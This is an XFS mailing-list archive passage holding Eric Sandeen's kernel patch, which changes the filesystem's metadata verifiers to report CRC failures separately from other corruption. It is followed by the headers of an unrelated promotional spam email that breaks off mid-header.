bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 56A8363CE389 for ; Mon, 10 Feb 2014 21:15:13 -0600 (CST) Message-ID: <52F995C1.10709@sandeen.net> Date: Mon, 10 Feb 2014 21:15:13 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: xfs-oss Subject: [PATCH 7/7] xfs: modify verifiers to differentiate CRC failures from other errors References: <52F99426.3010409@sandeen.net> X-ASG-Orig-Subj: [PATCH 7/7] xfs: modify verifiers to differentiate CRC failures from other errors In-Reply-To: <52F99426.3010409@sandeen.net> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1392088513 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145015 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Modify all read & write verifiers to differentiate between CRC errors and other inconsistencies. This sets the appropriate error number on bp->b_error, and then calls xfs_verifier_error() if something went wrong. That function will issue the appropriate message to the user. Signed-off-by: Eric Sandeen --- fs/xfs/xfs_alloc.c | 37 +++++++++++++++++-------------------- fs/xfs/xfs_alloc_btree.c | 15 ++++++++------- fs/xfs/xfs_attr_leaf.c | 14 ++++++++------ fs/xfs/xfs_attr_remote.c | 15 ++++++--------- fs/xfs/xfs_bmap_btree.c | 16 ++++++++-------- fs/xfs/xfs_da_btree.c | 14 ++++++++------ fs/xfs/xfs_dir2_block.c | 14 ++++++++------ fs/xfs/xfs_dir2_data.c | 17 +++++++++-------- fs/xfs/xfs_dir2_leaf.c | 14 ++++++++------ fs/xfs/xfs_dir2_node.c | 14 ++++++++------ fs/xfs/xfs_dquot_buf.c | 11 +++++++---- fs/xfs/xfs_ialloc.c | 12 ++++++++---- fs/xfs/xfs_ialloc_btree.c | 15 ++++++++------- fs/xfs/xfs_inode_buf.c | 3 +-- fs/xfs/xfs_sb.c | 11 ++++------- fs/xfs/xfs_symlink_remote.c | 12 +++++++----- 16 files changed, 123 insertions(+), 111 deletions(-) V2: unchanged other than modifications to accommodate prior changes. diff --git a/fs/xfs/xfs_alloc.c b/fs/xfs/xfs_alloc.c index 9c7cf3d..9a93601 100644 --- a/fs/xfs/xfs_alloc.c +++ b/fs/xfs/xfs_alloc.c @@ -474,7 +474,6 @@ xfs_agfl_read_verify( struct xfs_buf *bp) { struct xfs_mount *mp = bp->b_target->bt_mount; - int agfl_ok = 1; /* * There is no verification of non-crc AGFLs because mkfs does not @@ -485,14 +484,13 @@ xfs_agfl_read_verify( if (!xfs_sb_version_hascrc(&mp->m_sb)) return; - agfl_ok = xfs_buf_verify_cksum(bp, XFS_AGFL_CRC_OFF); - - agfl_ok = agfl_ok && xfs_agfl_verify(bp); - - if (!agfl_ok) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); + if (!xfs_buf_verify_cksum(bp, offsetof(struct xfs_agfl, agfl_crc))) + xfs_buf_ioerror(bp, EFSBADCRC); + else if (!xfs_agfl_verify(bp)) xfs_buf_ioerror(bp, EFSCORRUPTED); - } + + if (bp->b_error) + xfs_verifier_error(bp); } static void @@ -507,8 +505,8 @@ xfs_agfl_write_verify( return; if (!xfs_agfl_verify(bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); return; } @@ -2236,18 +2234,17 @@ xfs_agf_read_verify( struct xfs_buf *bp) { struct xfs_mount *mp = bp->b_target->bt_mount; - int agf_ok = 1; - - if (xfs_sb_version_hascrc(&mp->m_sb)) - agf_ok = xfs_buf_verify_cksum(bp, XFS_AGF_CRC_OFF); - agf_ok = agf_ok && xfs_agf_verify(mp, bp); - - if (unlikely(XFS_TEST_ERROR(!agf_ok, mp, XFS_ERRTAG_ALLOC_READ_AGF, - XFS_RANDOM_ALLOC_READ_AGF))) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); + if (xfs_sb_version_hascrc(&mp->m_sb) && + !xfs_buf_verify_cksum(bp, offsetof(struct xfs_agf, agf_crc))) + xfs_buf_ioerror(bp, EFSBADCRC); + else if (XFS_TEST_ERROR(!xfs_agf_verify(mp, bp), mp, + XFS_ERRTAG_ALLOC_READ_AGF, + XFS_RANDOM_ALLOC_READ_AGF)) xfs_buf_ioerror(bp, EFSCORRUPTED); - } + + if (bp->b_error) + xfs_verifier_error(bp); } static void @@ -2258,8 +2255,8 @@ xfs_agf_write_verify( struct xfs_buf_log_item *bip = bp->b_fspriv; if (!xfs_agf_verify(mp, bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); return; } diff --git a/fs/xfs/xfs_alloc_btree.c b/fs/xfs/xfs_alloc_btree.c index 144d3b0..cc1eadc 100644 --- a/fs/xfs/xfs_alloc_btree.c +++ b/fs/xfs/xfs_alloc_btree.c @@ -355,12 +355,14 @@ static void xfs_allocbt_read_verify( struct xfs_buf *bp) { - if (!(xfs_btree_sblock_verify_crc(bp) && - xfs_allocbt_verify(bp))) { - trace_xfs_btree_corrupt(bp, _RET_IP_); - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, - bp->b_target->bt_mount, bp->b_addr); + if (!xfs_btree_sblock_verify_crc(bp)) + xfs_buf_ioerror(bp, EFSBADCRC); + else if (!xfs_allocbt_verify(bp)) xfs_buf_ioerror(bp, EFSCORRUPTED); + + if (bp->b_error) { + trace_xfs_btree_corrupt(bp, _RET_IP_); + xfs_verifier_error(bp); } } @@ -370,9 +372,8 @@ xfs_allocbt_write_verify( { if (!xfs_allocbt_verify(bp)) { trace_xfs_btree_corrupt(bp, _RET_IP_); - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, - bp->b_target->bt_mount, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); return; } xfs_btree_sblock_calc_crc(bp); diff --git a/fs/xfs/xfs_attr_leaf.c b/fs/xfs/xfs_attr_leaf.c index b552378..fe9587f 100644 --- a/fs/xfs/xfs_attr_leaf.c +++ b/fs/xfs/xfs_attr_leaf.c @@ -213,8 +213,8 @@ xfs_attr3_leaf_write_verify( struct xfs_attr3_leaf_hdr *hdr3 = bp->b_addr; if (!xfs_attr3_leaf_verify(bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); return; } @@ -239,12 +239,14 @@ xfs_attr3_leaf_read_verify( { struct xfs_mount *mp = bp->b_target->bt_mount; - if ((xfs_sb_version_hascrc(&mp->m_sb) && - !xfs_buf_verify_cksum(bp, XFS_ATTR3_LEAF_CRC_OFF)) || - !xfs_attr3_leaf_verify(bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); + if (xfs_sb_version_hascrc(&mp->m_sb) && + !xfs_buf_verify_cksum(bp, XFS_ATTR3_LEAF_CRC_OFF)) + xfs_buf_ioerror(bp, EFSBADCRC); + else if (!xfs_attr3_leaf_verify(bp)) xfs_buf_ioerror(bp, EFSCORRUPTED); - } + + if (bp->b_error) + xfs_verifier_error(bp); } const struct xfs_buf_ops xfs_attr3_leaf_buf_ops = { diff --git a/fs/xfs/xfs_attr_remote.c b/fs/xfs/xfs_attr_remote.c index 5549d69..6e37823 100644 --- a/fs/xfs/xfs_attr_remote.c +++ b/fs/xfs/xfs_attr_remote.c @@ -125,7 +125,6 @@ xfs_attr3_rmt_read_verify( struct xfs_mount *mp = bp->b_target->bt_mount; char *ptr; int len; - bool corrupt = false; xfs_daddr_t bno; /* no verification of non-crc buffers */ @@ -140,11 +139,11 @@ xfs_attr3_rmt_read_verify( while (len > 0) { if (!xfs_verify_cksum(ptr, XFS_LBSIZE(mp), XFS_ATTR3_RMT_CRC_OFF)) { - corrupt = true; + xfs_buf_ioerror(bp, EFSBADCRC); break; } if (!xfs_attr3_rmt_verify(mp, ptr, XFS_LBSIZE(mp), bno)) { - corrupt = true; + xfs_buf_ioerror(bp, EFSCORRUPTED); break; } len -= XFS_LBSIZE(mp); @@ -152,10 +151,9 @@ xfs_attr3_rmt_read_verify( bno += mp->m_bsize; } - if (corrupt) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); - xfs_buf_ioerror(bp, EFSCORRUPTED); - } else + if (bp->b_error) + xfs_verifier_error(bp); + else ASSERT(len == 0); } @@ -180,9 +178,8 @@ xfs_attr3_rmt_write_verify( while (len > 0) { if (!xfs_attr3_rmt_verify(mp, ptr, XFS_LBSIZE(mp), bno)) { - XFS_CORRUPTION_ERROR(__func__, - XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); return; } if (bip) { diff --git a/fs/xfs/xfs_bmap_btree.c b/fs/xfs/xfs_bmap_btree.c index 706bc3f..818d546 100644 --- a/fs/xfs/xfs_bmap_btree.c +++ b/fs/xfs/xfs_bmap_btree.c @@ -780,12 +780,14 @@ static void xfs_bmbt_read_verify( struct xfs_buf *bp) { - if (!(xfs_btree_lblock_verify_crc(bp) && - xfs_bmbt_verify(bp))) { - trace_xfs_btree_corrupt(bp, _RET_IP_); - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, - bp->b_target->bt_mount, bp->b_addr); + if (!xfs_btree_lblock_verify_crc(bp)) + xfs_buf_ioerror(bp, EFSBADCRC); + else if (!xfs_bmbt_verify(bp)) xfs_buf_ioerror(bp, EFSCORRUPTED); + + if (bp->b_error) { + trace_xfs_btree_corrupt(bp, _RET_IP_); + xfs_verifier_error(bp); } } @@ -794,11 +796,9 @@ xfs_bmbt_write_verify( struct xfs_buf *bp) { if (!xfs_bmbt_verify(bp)) { - xfs_warn(bp->b_target->bt_mount, "bmbt daddr 0x%llx failed", bp->b_bn); trace_xfs_btree_corrupt(bp, _RET_IP_); - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, - bp->b_target->bt_mount, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); return; } xfs_btree_lblock_calc_crc(bp); diff --git a/fs/xfs/xfs_da_btree.c b/fs/xfs/xfs_da_btree.c index 75ef990..1f5af79 100644 --- a/fs/xfs/xfs_da_btree.c +++ b/fs/xfs/xfs_da_btree.c @@ -185,8 +185,8 @@ xfs_da3_node_write_verify( struct xfs_da3_node_hdr *hdr3 = bp->b_addr; if (!xfs_da3_node_verify(bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); return; } @@ -209,17 +209,20 @@ static void xfs_da3_node_read_verify( struct xfs_buf *bp) { - struct xfs_mount *mp = bp->b_target->bt_mount; struct xfs_da_blkinfo *info = bp->b_addr; switch (be16_to_cpu(info->magic)) { case XFS_DA3_NODE_MAGIC: - if (!xfs_buf_verify_cksum(bp, XFS_DA3_NODE_CRC_OFF)) + if (!xfs_buf_verify_cksum(bp, XFS_DA3_NODE_CRC_OFF)) { + xfs_buf_ioerror(bp, EFSBADCRC); break; + } /* fall through */ case XFS_DA_NODE_MAGIC: - if (!xfs_da3_node_verify(bp)) + if (!xfs_da3_node_verify(bp)) { + xfs_buf_ioerror(bp, EFSCORRUPTED); break; + } return; case XFS_ATTR_LEAF_MAGIC: case XFS_ATTR3_LEAF_MAGIC: @@ -236,8 +239,7 @@ xfs_da3_node_read_verify( } /* corrupt block */ - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); - xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); } const struct xfs_buf_ops xfs_da3_node_buf_ops = { diff --git a/fs/xfs/xfs_dir2_block.c b/fs/xfs/xfs_dir2_block.c index 724377e..4f6a38c 100644 --- a/fs/xfs/xfs_dir2_block.c +++ b/fs/xfs/xfs_dir2_block.c @@ -89,12 +89,14 @@ xfs_dir3_block_read_verify( { struct xfs_mount *mp = bp->b_target->bt_mount; - if ((xfs_sb_version_hascrc(&mp->m_sb) && - !xfs_buf_verify_cksum(bp, XFS_DIR3_DATA_CRC_OFF)) || - !xfs_dir3_block_verify(bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); + if (xfs_sb_version_hascrc(&mp->m_sb) && + !xfs_buf_verify_cksum(bp, XFS_DIR3_DATA_CRC_OFF)) + xfs_buf_ioerror(bp, EFSBADCRC); + else if (!xfs_dir3_block_verify(bp)) xfs_buf_ioerror(bp, EFSCORRUPTED); - } + + if (bp->b_error) + xfs_verifier_error(bp); } static void @@ -106,8 +108,8 @@ xfs_dir3_block_write_verify( struct xfs_dir3_blk_hdr *hdr3 = bp->b_addr; if (!xfs_dir3_block_verify(bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); return; } diff --git a/fs/xfs/xfs_dir2_data.c b/fs/xfs/xfs_dir2_data.c index 74ae85e..afa4ad5 100644 --- a/fs/xfs/xfs_dir2_data.c +++ b/fs/xfs/xfs_dir2_data.c @@ -241,7 +241,6 @@ static void xfs_dir3_data_reada_verify( struct xfs_buf *bp) { - struct xfs_mount *mp = bp->b_target->bt_mount; struct xfs_dir2_data_hdr *hdr = bp->b_addr; switch (hdr->magic) { @@ -255,8 +254,8 @@ xfs_dir3_data_reada_verify( xfs_dir3_data_verify(bp); return; default: - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, hdr); xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); break; } } @@ -267,12 +266,14 @@ xfs_dir3_data_read_verify( { struct xfs_mount *mp = bp->b_target->bt_mount; - if ((xfs_sb_version_hascrc(&mp->m_sb) && - !xfs_buf_verify_cksum(bp, XFS_DIR3_DATA_CRC_OFF)) || - !xfs_dir3_data_verify(bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); + if (xfs_sb_version_hascrc(&mp->m_sb) && + !xfs_buf_verify_cksum(bp, XFS_DIR3_DATA_CRC_OFF)) + xfs_buf_ioerror(bp, EFSBADCRC); + else if (!xfs_dir3_data_verify(bp)) xfs_buf_ioerror(bp, EFSCORRUPTED); - } + + if (bp->b_error) + xfs_verifier_error(bp); } static void @@ -284,8 +285,8 @@ xfs_dir3_data_write_verify( struct xfs_dir3_blk_hdr *hdr3 = bp->b_addr; if (!xfs_dir3_data_verify(bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); return; } diff --git a/fs/xfs/xfs_dir2_leaf.c b/fs/xfs/xfs_dir2_leaf.c index dffb61b..d36e97d 100644 --- a/fs/xfs/xfs_dir2_leaf.c +++ b/fs/xfs/xfs_dir2_leaf.c @@ -179,12 +179,14 @@ __read_verify( { struct xfs_mount *mp = bp->b_target->bt_mount; - if ((xfs_sb_version_hascrc(&mp->m_sb) && - !xfs_buf_verify_cksum(bp, XFS_DIR3_LEAF_CRC_OFF)) || - !xfs_dir3_leaf_verify(bp, magic)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); + if (xfs_sb_version_hascrc(&mp->m_sb) && + !xfs_buf_verify_cksum(bp, XFS_DIR3_LEAF_CRC_OFF)) + xfs_buf_ioerror(bp, EFSBADCRC); + else if (!xfs_dir3_leaf_verify(bp, magic)) xfs_buf_ioerror(bp, EFSCORRUPTED); - } + + if (bp->b_error) + xfs_verifier_error(bp); } static void @@ -197,8 +199,8 @@ __write_verify( struct xfs_dir3_leaf_hdr *hdr3 = bp->b_addr; if (!xfs_dir3_leaf_verify(bp, magic)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); return; } diff --git a/fs/xfs/xfs_dir2_node.c b/fs/xfs/xfs_dir2_node.c index 0904b20..cb434d7 100644 --- a/fs/xfs/xfs_dir2_node.c +++ b/fs/xfs/xfs_dir2_node.c @@ -115,12 +115,14 @@ xfs_dir3_free_read_verify( { struct xfs_mount *mp = bp->b_target->bt_mount; - if ((xfs_sb_version_hascrc(&mp->m_sb) && - !xfs_buf_verify_cksum(bp, XFS_DIR3_FREE_CRC_OFF)) || - !xfs_dir3_free_verify(bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); + if (xfs_sb_version_hascrc(&mp->m_sb) && + !xfs_buf_verify_cksum(bp, XFS_DIR3_FREE_CRC_OFF)) + xfs_buf_ioerror(bp, EFSBADCRC); + else if (!xfs_dir3_free_verify(bp)) xfs_buf_ioerror(bp, EFSCORRUPTED); - } + + if (bp->b_error) + xfs_verifier_error(bp); } static void @@ -132,8 +134,8 @@ xfs_dir3_free_write_verify( struct xfs_dir3_blk_hdr *hdr3 = bp->b_addr; if (!xfs_dir3_free_verify(bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); return; } diff --git a/fs/xfs/xfs_dquot_buf.c b/fs/xfs/xfs_dquot_buf.c index d401457..610da81 100644 --- a/fs/xfs/xfs_dquot_buf.c +++ b/fs/xfs/xfs_dquot_buf.c @@ -257,10 +257,13 @@ xfs_dquot_buf_read_verify( { struct xfs_mount *mp = bp->b_target->bt_mount; - if (!xfs_dquot_buf_verify_crc(mp, bp) || !xfs_dquot_buf_verify(mp, bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); + if (!xfs_dquot_buf_verify_crc(mp, bp)) + xfs_buf_ioerror(bp, EFSBADCRC); + else if (!xfs_dquot_buf_verify(mp, bp)) xfs_buf_ioerror(bp, EFSCORRUPTED); - } + + if (bp->b_error) + xfs_verifier_error(bp); } /* @@ -275,8 +278,8 @@ xfs_dquot_buf_write_verify( struct xfs_mount *mp = bp->b_target->bt_mount; if (!xfs_dquot_buf_verify(mp, bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); return; } } diff --git a/fs/xfs/xfs_ialloc.c b/fs/xfs/xfs_ialloc.c index 4657586..8aa720d 100644 --- a/fs/xfs/xfs_ialloc.c +++ b/fs/xfs/xfs_ialloc.c @@ -1573,13 +1573,17 @@ xfs_agi_read_verify( if (xfs_sb_version_hascrc(&mp->m_sb)) agi_ok = xfs_buf_verify_cksum(bp, XFS_AGI_CRC_OFF); + if (!agi_ok) + xfs_buf_ioerror(bp, EFSBADCRC); + agi_ok = agi_ok && xfs_agi_verify(bp); if (unlikely(XFS_TEST_ERROR(!agi_ok, mp, XFS_ERRTAG_IALLOC_READ_AGI, - XFS_RANDOM_IALLOC_READ_AGI))) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); + XFS_RANDOM_IALLOC_READ_AGI))) xfs_buf_ioerror(bp, EFSCORRUPTED); - } + + if (bp->b_error) + xfs_verifier_error(bp); } static void @@ -1590,8 +1594,8 @@ xfs_agi_write_verify( struct xfs_buf_log_item *bip = bp->b_fspriv; if (!xfs_agi_verify(bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); return; } diff --git a/fs/xfs/xfs_ialloc_btree.c b/fs/xfs/xfs_ialloc_btree.c index 0028c50..7e309b1 100644 --- a/fs/xfs/xfs_ialloc_btree.c +++ b/fs/xfs/xfs_ialloc_btree.c @@ -243,12 +243,14 @@ static void xfs_inobt_read_verify( struct xfs_buf *bp) { - if (!(xfs_btree_sblock_verify_crc(bp) && - xfs_inobt_verify(bp))) { - trace_xfs_btree_corrupt(bp, _RET_IP_); - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, - bp->b_target->bt_mount, bp->b_addr); + if (!xfs_btree_sblock_verify_crc(bp)) + xfs_buf_ioerror(bp, EFSBADCRC); + else if (!xfs_inobt_verify(bp)) xfs_buf_ioerror(bp, EFSCORRUPTED); + + if (bp->b_error) { + trace_xfs_btree_corrupt(bp, _RET_IP_); + xfs_verifier_error(bp); } } @@ -258,9 +260,8 @@ xfs_inobt_write_verify( { if (!xfs_inobt_verify(bp)) { trace_xfs_btree_corrupt(bp, _RET_IP_); - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, - bp->b_target->bt_mount, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); return; } xfs_btree_sblock_calc_crc(bp); diff --git a/fs/xfs/xfs_inode_buf.c b/fs/xfs/xfs_inode_buf.c index 606b43a..24e9939 100644 --- a/fs/xfs/xfs_inode_buf.c +++ b/fs/xfs/xfs_inode_buf.c @@ -102,8 +102,7 @@ xfs_inode_buf_verify( } xfs_buf_ioerror(bp, EFSCORRUPTED); - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_HIGH, - mp, dip); + xfs_verifier_error(bp); #ifdef DEBUG xfs_alert(mp, "bad inode magic/vsn daddr %lld #%d (magic=%x)", diff --git a/fs/xfs/xfs_sb.c b/fs/xfs/xfs_sb.c index 0498e44..e778411 100644 --- a/fs/xfs/xfs_sb.c +++ b/fs/xfs/xfs_sb.c @@ -615,7 +615,7 @@ xfs_sb_read_verify( /* Only fail bad secondaries on a known V5 filesystem */ if (bp->b_bn != XFS_SB_DADDR && xfs_sb_version_hascrc(&mp->m_sb)) { - error = EFSCORRUPTED; + error = EFSBADCRC; goto out_error; } } @@ -624,10 +624,9 @@ xfs_sb_read_verify( out_error: if (error) { - if (error == EFSCORRUPTED) - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, - mp, bp->b_addr); xfs_buf_ioerror(bp, error); + if (error == EFSCORRUPTED || error == EFSBADCRC) + xfs_verifier_error(bp); } } @@ -643,7 +642,6 @@ xfs_sb_quiet_read_verify( { struct xfs_dsb *dsb = XFS_BUF_TO_SBP(bp); - if (dsb->sb_magicnum == cpu_to_be32(XFS_SB_MAGIC)) { /* XFS filesystem, verify noisily! */ xfs_sb_read_verify(bp); @@ -663,9 +661,8 @@ xfs_sb_write_verify( error = xfs_sb_verify(bp, false); if (error) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, - mp, bp->b_addr); xfs_buf_ioerror(bp, error); + xfs_verifier_error(bp); return; } diff --git a/fs/xfs/xfs_symlink_remote.c b/fs/xfs/xfs_symlink_remote.c index defa09f..9b32052 100644 --- a/fs/xfs/xfs_symlink_remote.c +++ b/fs/xfs/xfs_symlink_remote.c @@ -133,11 +133,13 @@ xfs_symlink_read_verify( if (!xfs_sb_version_hascrc(&mp->m_sb)) return; - if (!xfs_buf_verify_cksum(bp, XFS_SYMLINK_CRC_OFF) || - !xfs_symlink_verify(bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); + if (!xfs_buf_verify_cksum(bp, XFS_SYMLINK_CRC_OFF)) + xfs_buf_ioerror(bp, EFSBADCRC); + else if (!xfs_symlink_verify(bp)) xfs_buf_ioerror(bp, EFSCORRUPTED); - } + + if (bp->b_error) + xfs_verifier_error(bp); } static void @@ -152,8 +154,8 @@ xfs_symlink_write_verify( return; if (!xfs_symlink_verify(bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); return; } -- 1.7.1 From cactusflower221990@gmail.com Mon Feb 10 23:09:15 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=3.0 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,HTML_MESSAGE,MIME_HTML_ONLY,SUBJ_ALL_CAPS,T_DKIM_INVALID, T_REMOTE_IMAGE autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A23BF7F3F for ; Mon, 10 Feb 2014 23:09:15 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 7E1228F804C for ; Mon, 10 Feb 2014 21:09:12 -0800 (PST) X-ASG-Debug-ID: 1392095349-04cb6c6de226cc90001-NocioJ Received: from mail-pd0-f195.google.com (mail-pd0-f195.google.com [209.85.192.195]) by cuda.sgi.com with ESMTP id GtC7EBae0oXaHmQO (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Mon, 10 Feb 2014 21:09:09 -0800 (PST) X-Barracuda-Envelope-From: cactusflower221990@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.192.195 X-Barracuda-IPDD: Level1 [gmail.com/209.85.192.195] Received: by mail-pd0-f195.google.com with SMTP id x10so2836166pdj.10 for ; Mon, 10 Feb 2014 21:09:09 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.192.195] X-Barracuda-IPDD: Level1 [gmail.com/209.85.192.195] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=message-id:mime-version:from:to:reply-to:date:subject:content-type :content-transfer-encoding; bh=oe27VQVC5HqhGltC2a1UkoihZw5mv51uAcPmh/qxINU=; b=nn2qSLYgVn8N0bfwwSdYc4qgbHeEc05NoUEDf9KrNym40xu3l6x4QfxJLznzvu/+OM IF9z11wMs8H0YyDNnCvq9RFVLrvgdIVdMGgf3rmavyYq27uwL60a8gKs5mimjgkEVANN 6eVt+QrSUrZe1NaLGEOgazX3sQnqfsnWZSDsUy/8gXSAGT2DIJA8JlE4TCtRaNgXSq0C DYzBbNwBLaPmdoNATeoTEU4J1I5WC5A2cTKk7XoZx7BHTD5wbb133RJIj31ToPZEVoVS Kcz7TUcQHH9FHkbuMOCU0gPTamnkTaeDzq26GNyMZI53q6HosnoL4lo+IL+yFlsE95lB L3vA== X-Received: by 10.67.4.169 with SMTP id cf9mr29658534pad.45.1392089444139; Mon, 10 Feb 2014 19:30:44 -0800 (PST) Received: from 1RXMA4UMK9U1RXI ([113.161.76.236]) by mx.google.com with ESMTPSA id vg1sm47327358pbc.44.2014.02.10.19.30.40 for (version=TLSv1 cipher=ECDHE-RSA-AES128-SHA bits=128/128); Mon, 10 Feb 2014 19:30:42 -0800 (PST) Message-ID: <52f99962.01ee440a.162f.1ace@mx.google.com> MIME-Version: 1.0 From: cactusflower221990@gmail.com To: xfs@oss.sgi.com Reply-To: cactusflower221990@gmail.com Date: Mon, 10 Feb 2014 19:30:42 -0800 (PST) Subject: =?utf-8?B?S0hVWeG6vk4gTcODSSBLSE/huqJOSCBLSOG6rkMgVsOATkcgU+G7kCA3IEPhu6ZBIFZJRVROQU0gQUlSTElORVM=?= Content-Type: text/html; charset=utf-8 X-ASG-Orig-Subj: =?utf-8?B?S0hVWeG6vk4gTcODSSBLSE/huqJOSCBLSOG6rkMgVsOATkcgU+G7kCA3IEPhu6ZBIFZJRVROQU0gQUlSTElORVM=?= Content-Transfer-Encoding: base64 X-Barracuda-Connect: mail-pd0-f195.google.com[209.85.192.195] X-Barracuda-Start-Time: 1392095349 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.00 X-Barracuda-Spam-Status: No, SCORE=2.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC3_MV0164, DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE, MIME_HTML_ONLY, NO_REAL_NAME X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145017 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 NO_REAL_NAME From: does not include a real name -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.00 HTML_MESSAGE 